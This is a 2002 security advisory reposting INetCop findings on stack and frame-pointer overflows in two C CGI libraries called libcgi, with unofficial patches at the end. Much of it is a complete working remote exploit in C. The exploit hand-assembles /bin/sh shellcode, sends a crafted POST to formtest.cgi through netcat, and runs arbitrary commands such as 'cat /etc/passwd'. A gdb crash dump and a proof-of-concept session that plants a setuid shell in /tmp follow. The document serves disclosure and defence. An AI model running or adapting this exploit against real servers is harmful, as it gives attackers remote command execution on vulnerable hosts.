28th Nov 2002 [SBWID-5848]
COMMAND

	Various libcgi implementations frame and buffer overflow

SYSTEMS AFFECTED

	 libcgi 0.1 from http://www.bigadmin.kit.net/libcgi/
	 libcgi 1.0.2,1.0.3 from http://www.tuxbr.com.br/

PROBLEM

	In dong-houn yoU [Xpl017Elz] [http://x82.i21c.net]  of  NetCop  Security
	[http://www.inetcop.org] advisory [#2002-0x82-007], [#2002-0x82-008] :
	
	 1. libcgi (www.bigadmin.kit.net)
	 ================================
	
	A simple mode of develop CGI in language C.  The  libcgi  package  is  a
	library written in pure C for C programmers or,  programmers  with  some
	experience in language C that want development CGI in language  C.  This
	Project includes two libraries that has example practice to use  of  the
	same. (libcgi, lib-mysql)
	
	Vulnerability of problem happens in the 76 line  of  'Include/libcgi.h'.
	Let's examine. :-)
	
	    __
	    69  void changevalue(char mt[],char *pt)
	    70  {
	    71     char buffer[256]={'\0'}; // 256
	    72     int size=(strlen(pt)); // pt size.
	    73     int x,y;
	    74     for(x=0,y=0;x<size;x++,y++) // ??
	    75     {
	    76        buffer[y]=pt[x]; // Here !!
	    77     }
	    78     strcpy(mt,buffer); // Here's uneasy.
	    79  }
	    --
	
	According to use environment of function, can abuse overflow.
	
	 Exploit 
	 =======
	
	Good example that prove  exploit  is  attached.  The  CGI  program  uses
	changevalue().
	
	Example CGI Program: /cgi-bin/formtest.cgi
	
	let's examine source code.
	
	    __
	     7     static char Name[32],Email[32],Home[64],Sel[24],Check[16],Radio[16],Comments[256];
	           ...
	    13     name=getbox("NAME");         changevalue(Name,name);
	    14     email=getbox("EMAIL");       changevalue(Email,email);
	    15     home=getbox("HOME");         changevalue(Home,home);
	    16     sel=getbox("SEL");           changevalue(Sel,sel);
	    17     check=getbox("CHECK");       changevalue(Check,check);
	    18     radio=getbox("RADIO");       changevalue(Radio,radio);
	    19     comments=getbox("COMMENTS"); changevalue(Comments,comments); // Here.
	    --
	
	getbox() function, value  input  get  to  user.  lol,  changevalue()  is
	abused. :-)
	
	This's exploit code that prove.  Through  remote  attack,  get  'nobody'
	competence.
	
	
	=== 0x82-libCGIfpxpl.c ===
	
	/*
	**
	** Remote Frame Pointer Overwrite LIB CGI in Language C exploit
	**                          by Xpl017Elz in INetCop(c) Security
	**
	** __
	** Proof of concept:
	**
	** bash$ (./0x82-libCGIfpxpl;cat)|nc 0 80
	** HTTP/1.1 200 OK
	** Date: Sat, 23 Nov 2002 18:41:14 GMT
	** Server: Apache/1.3.26 (Unix) PHP/4.1.2
	** Connection: close
	** Content-Type: text/html
	**
	** <html>
	** <head>
	** <title>LIB CGI in Language C - Testing "libcgi.h" with Url Encoding -
	** by Marcos Luiz Onisto , bigadmin@uol.com.br</title>
	** ...
	** 8282828282828282828282828282828282828282828282828282 ...
	** ...
	**
	** Happy Exploit !
	** 
	** Linux testsub 2.2.12-20kr #1 Tue Oct 12 16:46:36 KST 1999 i686 unknown
	** uid=99(nobody) gid=99(nobody) groups=99(nobody)
	**
	** __
	** exploit by "you dong-h0un"(Xpl017Elz), <szoahc@hotmail.com>. 
	** My World: http://x82.i21c.net & http://x82.inetcop.org
	**
	*/
	
	#include <stdio.h>
	#include <getopt.h>
	
	#define Xpl017Elz x82
	#define BUFSIZE 1024
	#define DCOMM "printf \"\\n\\n\\nHappy Exploit !\\n\\n\";uname -a;id"
	
	void banrl();
	int main(argc,argv)
	    int argc;
	    char *argv[];
	{
	#define NOPSH 0xbffffc20
	    unsigned long nopsh=NOPSH;
	#define SHADR 0xbffffd60
	    unsigned long shadr=SHADR;
	    int whtp;
	#define NULLS 0x00000000
	    int num_0,num_1,num_2,num_3;
	    int num_4,num_5;
	
	    char input_code[]= /* It's true ! */
		"NAME=Xpl017Elz&EMAIL=szoahc@hotmail.com&HOME=http://x82.inetcop.org&SEL=Music&CHECK=yes&RADIO=very+happy&COMMENTS=";
	    char send_code[]=
		"&Submit=Send\n"; /* send */
	#define COMMS 235
	    char shc0mm[COMMS]=DCOMM;
	    unsigned char x0x[BUFSIZE];
	    char x0x2[BUFSIZE];
	
	    int x0x_0_num=NULLS;
	    int x0x_1_num=NULLS;
	    num_5=num_4=num_3=num_2=num_1=num_0=NULLS;
	
	    memset(x0x,0x00,BUFSIZE);
	    memset(x0x2,0x00,BUFSIZE);
	    
	    while((whtp=getopt(argc,argv,"C:c:S:s:A:a:"))!=EOF)
	    {
		switch(whtp)
		{
		    case 'C':
		    case 'c':
			if(strlen(optarg)>COMMS)
			{
			    fprintf(stderr,"\n [-] String Error :-(\n\n");
			    exit(-1);
			}
			memset(shc0mm,0x00,COMMS);
			strncpy(shc0mm,optarg,COMMS);
			break;
			
		    case 'S':
		    case 's':
			nopsh=strtoul(optarg,NULL,0);
			break;
			
		    case 'A':
		    case 'a':
			shadr=strtoul(optarg,NULL,0);
			break;
			
		    case '?':
			{
			    (void)banrl();
			    fprintf(stderr,"\n Usage: %s -opt args\n",argv[0]);
			    fprintf(stderr,"\n\t-s [addr] - shellcode");
			    fprintf(stderr,"\n\t-a [addr] - &shellcode");
			    fprintf(stderr,"\n\t-c [cmd]  - command\n");
			    fprintf(stderr,"\n Example: %s -s %p -a %p -c 'cat /etc/passwd'\n\n",argv[0],nopsh,shadr);
			    exit(0);
			}
			break;
		}
	    }
	    
	    //--- make shellcode :-) ---//
	    /* This is dong-h0un U style */
	    num_1=strlen(shc0mm)+0x0c; num_2=num_1+0x01;
	    num_3=num_2+0x04; num_4=num_3+0x04; num_5=num_4+0x04;
	    x0x[num_0++]=0xeb; x0x[num_0++]=0x30; x0x[num_0++]=0x5e;  
	    x0x[num_0++]=0x89; x0x[num_0++]=0x76; x0x[num_0++]=num_2;
	    x0x[num_0++]=0x31; x0x[num_0++]=0xc0; x0x[num_0++]=0x88;
	    x0x[num_0++]=0x46; x0x[num_0++]=0x08; x0x[num_0++]=0x88; 
	    x0x[num_0++]=0x46; x0x[num_0++]=0x0b; x0x[num_0++]=0x88; 
	    x0x[num_0++]=0x46; x0x[num_0++]=num_1;x0x[num_0++]=0x89; 
	    x0x[num_0++]=0x46; x0x[num_0++]=num_5;x0x[num_0++]=0xb0;  
	    x0x[num_0++]=0x0b; x0x[num_0++]=0x8d; x0x[num_0++]=0x5e;
	    x0x[num_0++]=0x09; x0x[num_0++]=0x89; x0x[num_0++]=0x5e;
	    x0x[num_0++]=num_3;x0x[num_0++]=0x8d; x0x[num_0++]=0x5e;
	    x0x[num_0++]=0x0c; x0x[num_0++]=0x89; x0x[num_0++]=0x5e;
	    x0x[num_0++]=num_4;x0x[num_0++]=0x89; x0x[num_0++]=0xf3;
	    x0x[num_0++]=0x8d; x0x[num_0++]=0x4e; x0x[num_0++]=num_2;
	    x0x[num_0++]=0x8d; x0x[num_0++]=0x56; x0x[num_0++]=num_5; 
	    x0x[num_0++]=0xcd; x0x[num_0++]=0x80; x0x[num_0++]=0x31;
	    x0x[num_0++]=0xc0; x0x[num_0++]=0xb0; x0x[num_0++]=0x01;
	    x0x[num_0++]=0xcd; x0x[num_0++]=0x80; x0x[num_0++]=0xe8;
	    x0x[num_0++]=0xcb; x0x[num_0++]=0xff; x0x[num_0++]=0xff;
	    x0x[num_0++]=0xff; x0x[num_0++]=0x2f; x0x[num_0++]=0x2f;
	    x0x[num_0++]=0x62; x0x[num_0++]=0x69; x0x[num_0++]=0x6e;        
	    x0x[num_0++]=0x2f; x0x[num_0++]=0x73; x0x[num_0++]=0x68;  
	    x0x[num_0++]=0x20; x0x[num_0++]=0x2d; x0x[num_0++]=0x63;
	    x0x[num_0++]=0x20;
	   
	    //--- execute formtest.cgi ---//
	    fprintf(stdout,"POST /cgi-bin/formtest.cgi HTTP/1.0\n");
	    fprintf(stdout,"Connection: close\n");
	    fprintf(stdout,"User-Agent: ");
	
	    //--- put shellcode ---//
	    for(x0x_0_num=0;x0x_0_num<BUFSIZE/2-strlen(x0x)-strlen(shc0mm);x0x_0_num++)
		fprintf(stdout,"\x90");
	    fprintf(stdout,"%s",x0x);
	    fprintf(stdout,"%s",shc0mm);
	
	    //--- put &shellcode ---//
	    memset(x0x,0x00,BUFSIZE);
	    for(x0x_0_num=0;x0x_0_num<BUFSIZE/4;x0x_0_num+=4)
		*(long*)&x0x[x0x_0_num]=nopsh;
	    fprintf(stdout,"%s\n",x0x); /* &shellcode */
	
	    //--- set type ---//
	    fprintf(stdout,"Host: x82 was here.\n");
	    fprintf(stdout,"Content-type: application/x-www-form-urlencoded\n");
	
	    //--- put &(&shellcode) ---//
	    memset(x0x,0x00,BUFSIZE);
	    for(x0x_0_num=0;x0x_0_num<260;x0x_0_num+=4)
		*(long*)&x0x[x0x_0_num]=shadr; /* &(&shellcode) */
	    snprintf(x0x2,BUFSIZE,"%s%s%s",input_code,x0x,send_code);
	
	    //--- size, code send ---//
	    fprintf(stdout,"Content-length: %d\n\n",strlen(x0x2));
	    fprintf(stdout,"%s\n",x0x2);
	    
	    /*******************************************************************
	      How to exploit?
	      
	      Use netcat ! 
	      bash$ (./0x82-libCGIfpxpl;cat)|nc 0 80
	      
	      This is frame pointer overwrite.
	      Must investigate all shellcode address and &shellcode address.
	      [nop] [shellcode] [&shellcode]
	                 ^          | ^
	                 |          | |
	                 +----------+ +------* (-a option).
	                 (-s option)
	
	      ex) 0x82828282: 0x90909090 0x90909090 0x90909090 0x90909090
	              ...         ...        ...        ...        ...
	          0x8282bab0: 0x82828282 0x82828282 0x82828282 0x82828282
	
	      It may be work that is very interesting. :-)
	      bash$ (./0x82-libCGIfpxpl -s 0x82828282 -a 0x8282bab0;cat)|nc 0 80
	      
	      Only, code may create instruction that you want.
	      Shellcode does not worry. (-c option)
	      bash$ (./0x82-libCGIfpxpl -c "echo 'x82 was here.';";cat)|nc 0 80
	     
	      ******************************************************************/
	
	}
	
	void banrl()
	{
	    fprintf(stdout,"\n Remote Frame Pointer Overwrite LIB CGI in Language C exploit");
	    fprintf(stdout,"\n                          by Xpl017Elz in INetCop(c) Security\n");
	}
	
	
	 2. libcgi (www.tuxbr.com.br)
	 ============================
	
	LIBCGI is a simple  of  functions  to  create  CGI  programs  in  C.  It
	provides support for both GET and POST request  methods,  parsing  data,
	an  URLDecode  function,  access  to  MySQL  functions,  and   excellent
	documentation.
	
	Vulnerability happens because of 'parse_field()' function. It's  in  129
	lines of 'cgi_lib.c' code. Let's examine. :-)
	
	   __
	   129  void parse_field(char *field, char *rtnfield)
	        ...
	   132       char *ptr,
	   133            *endptr,
	   134            tmp_field[128];
	        ...
	   137          sprintf(tmp_field,"%s=",field); // "field1="
	   138
	   139          if((ptr=strstr(req_http,tmp_field))!=NULL)
	   140          {
	   141                  ptr+=strlen(tmp_field); // "[value]&field2=[value2]&field3=[value3]"
	   142
	   143                  if((endptr=strchr(ptr,'&'))!=NULL) // "&field2=[value2]&field3=[value3]"
	   144                  {
	   145                      memmove(rtnfield, ptr, (endptr - ptr)+1); // here.
	   146                          rtnfield[(endptr - ptr)]='\0';
	   147                  }
	        ...
	   --
	
	Attacker can change flowing of program easily in remote.
	
	 Exploit
	 =======
	
	There  is  very  good  CGI  example  program.  The  CGI   program   uses
	parse_field().
	
	Example CGI Program: /cgi-bin/sample3.cgi
	
	let's examine source code.
	
	    __
	     6  char name[64], // 64
	     7       address[64],
	     8       tel[64];
	        ...
	    12          parse_field("name",name); // exploitable !
	    13          parse_field("address",address);
	    14          parse_field("telephone",tel);
	    --
	
	I'm going to do test simply. See well.
	
	#) Testing. (RedHat Linux 8.0, locale (GNU libc) 2.2.93)
	
	
	bash$ export QUERY_STRING="name=test&address=test&telephone=test"
	bash$ ./sample3.cgi
	Content-type: text/plain
	 
	 
	 
	*************************** SAMPLE LIBCGIMYSQL  *********************
	 
	 
	Name=test
	Address=test
	Telephone=test
	 
	 
	***************************     FIM SAMPLE      *********************
	 
	 
	bash$ export QUERY_STRING="name=`perl -e 'print \"x\"x92'`AAAA&address=test&telephone=test"
	bash$ gdb -q sample3.cgi
	(gdb) r
	Starting program: /usr/local/apache/cgi-bin/sample3.cgi
	Content-type: text/plain
	
	
	
	*************************** SAMPLE LIBCGIMYSQL  *********************
	
	
	Name=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxAAAA
	Address=test
	Telephone=test
	
	
	***************************     FIM SAMPLE      *********************
	
	
	
	Program received signal SIGSEGV, Segmentation fault.
	0x41414141 in registros () from /usr/lib/libcgituxbr.so.1
	(gdb) bt
	#0  0x41414141 in registros () from /usr/lib/libcgituxbr.so.1
	#1  0x00000000 in ?? ()
	(gdb) i r
	eax            0x0      0
	ecx            0x40013000       1073819648
	edx            0x43218320       1126269728
	ebx            0x78787878       2021161080
	esp            0xbffffa90       0xbffffa90
	ebp            0x78787878       0x78787878
	esi            0x78787878       2021161080
	edi            0x78787878       2021161080
	eip            0x41414141       0x41414141
	eflags         0x10282  66178
	cs             0x23     35
	ss             0x2b     43
	ds             0x2b     43
	es             0x2b     43
	fs             0x0      0
	gs             0x0      0
	fctrl          0x37f    895
	fstat          0x0      0
	ftag           0xffff   65535
	fiseg          0x0      0
	fioff          0x0      0
	foseg          0x0      0
	fooff          0x0      0
	---Type <return> to continue, or q <return> to quit---q
	Quit
	(gdb)
	
	It's very basic stack based overflow. Can do exploit in remote.
	
	exploit URL: http://x82.inetcop.org/h0me/c0de/0x82-Remote.tuxbrLibcgi.s
	
	 Proof of concept
	 ================
	
	sh-2.05b$ id
	uid=501(x82) gid=501(x82) groups=501(x82),10(wheel)
	sh-2.05b$ cat > /tmp/x82
	#!/bin/sh
	cp /bin/sh /tmp/nobody-sh
	chmod 4755 /tmp/nobody-sh
	^C
	sh-2.05b$ chmod 755 /tmp/x82
	sh-2.05b$ gcc -o 0x82-Remote.tuxbrLibcgi 0x82-Remote.tuxbrLibcgi.s
	sh-2.05b$ (./0x82-Remote.tuxbrLibcgi;cat)|nc localhost 80
	HTTP/1.1 500 Internal Server Error
	Date: Thu, 21 Nov 2002 03:01:46 GMT
	Server: Apache/1.3.20 (Unix)
	Connection: close
	Content-Type: text/html; charset=iso-8859-1
	
	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
	...
	<TITLE>500 Internal Server Error</TITLE>
	</HEAD><BODY>
	<H1>Internal Server Error</H1>
	...
	<HR>
	<ADDRESS>Apache/1.3.20 Server at localhost.localdomain Port 80</ADDRESS>
	</BODY></HTML>
	
	sh-2.05b$
	sh-2.05b$ /tmp/nobody-sh -p
	nobody-sh-2.05b$ whoami
	nobody
	nobody-sh-2.05b$
	

SOLUTION

	 libcgi (www.bigadmin.kit.net) unoffical patch
	 =============================================
	
	--- libcgi.h	Tue Feb 13 22:23:00 1996
	+++ libcgi.patch.h	Thu Nov 21 14:01:21 2002
	@@ -69,7 +69,7 @@
	 void changevalue(char mt[],char *pt)
	 {
	    char buffer[256]={'\0'};
	-   int size=(strlen(pt));
	+   int size=256;//(strlen(pt));
	    int x,y;
	    for(x=0,y=0;x<size;x++,y++)
	    {
	
	
	 libcgi (www.tuxbr.com.br) unoffical patch
	 =========================================
	
	--- cgi_lib.c	Sat Dec 29 07:10:47 2001
	+++ cgi_lib.patch.c	Thu Nov 21 23:47:13 2002
	@@ -126,7 +126,7 @@
	 
	 
	 //Faz o parse buscando pelo campo na string de request HTTP
	-void parse_field(char *field, char *rtnfield)
	+void parse_field(char *field, char *rtnfield, int size)
	 {
	 
	      char *ptr,
	@@ -142,12 +142,12 @@
	 
	 		if((endptr=strchr(ptr,'&'))!=NULL)
	 		{
	-		    memmove(rtnfield, ptr, (endptr - ptr)+1);
	+		    memmove(rtnfield, ptr, size-1);//(endptr - ptr)+1);
	 			rtnfield[(endptr - ptr)]='\0';
	 		}
	 		else
	 		{
	-			memmove(rtnfield, ptr, (strlen(ptr))+1);
	+			memmove(rtnfield, ptr, size-1);//(strlen(ptr))+1);
	 			rtnfield[(strlen(ptr))+1]='\0';
	 		}
	 
	--- cgi_lib.h	Sun Jan 20 06:58:34 2002
	+++ cgi_lib.patch.h	Thu Nov 21 23:47:05 2002
	@@ -37,7 +37,7 @@
	  /*********************/
	 
	 void SwapChar(char *pOriginal, char cBad, char cGood);
	-void parse_field(char *field, char *rtnfield);
	+void parse_field(char *field, char *rtnfield, int size);
	 void get_request(unsigned int method, char *request);
	 void URLDecode(unsigned char *pEncoded);
	 void vExiterr();
	--- samples/sample3.c	Thu Dec 27 05:52:12 2001
	+++ samples/sample3.patch.c	Thu Nov 21 23:51:14 2002
	@@ -9,9 +9,9 @@
	  
	         get_request(1,req_http);
	  
	-        parse_field("name",name);
	-        parse_field("address",address);
	-        parse_field("telephone",tel);
	+        parse_field("name",name,(int)sizeof(name));
	+        parse_field("address",address,(int)sizeof(address));
	+        parse_field("telephone",tel,(int)sizeof(tel));
	  
	         URLDecode(name);
	         URLDecode(address);